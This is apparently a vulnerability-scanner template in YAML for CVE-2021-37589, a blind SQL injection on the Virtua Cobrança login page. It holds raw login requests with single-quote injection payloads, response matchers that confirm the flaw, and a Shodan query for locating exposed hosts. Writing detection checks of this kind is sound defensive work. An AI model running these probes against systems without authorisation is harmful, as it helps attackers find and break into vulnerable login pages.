53 lines
1.6 KiB
YAML
53 lines
1.6 KiB
YAML
id: CVE-2021-37589
|
|
info:
|
|
name: Virtua Software Cobrança - Firebird Blind SQL Injection
|
|
author: princechaddha
|
|
severity: high
|
|
description: |
|
|
Virtua Cobranca before 12R allows SQL Injection on the login page.
|
|
reference:
|
|
- https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589
|
|
- https://www.virtuasoftware.com.br/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-37589
|
|
metadata:
|
|
verified: true
|
|
shodan-query: http.favicon.hash:876876147
|
|
tags: cve,cve2021,virtua,sqli
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
- |
|
|
POST /controller/login.php?acao=autenticar HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
idusuario='&idsenha=test&tipousr=Usuario
|
|
|
|
- |
|
|
POST /controller/login.php?acao=autenticar HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
idusuario=''&idsenha=a&tipousr=Usuario
|
|
|
|
cookie-reuse: true
|
|
req-condition: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "status_code_2 == 500 && status_code_3 == 200"
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_3, "Os parametros não estão informados corretamente")'
|
|
- 'contains(body_3, "O CNPJ dos parametro não está informado corretamente")'
|
|
condition: or
|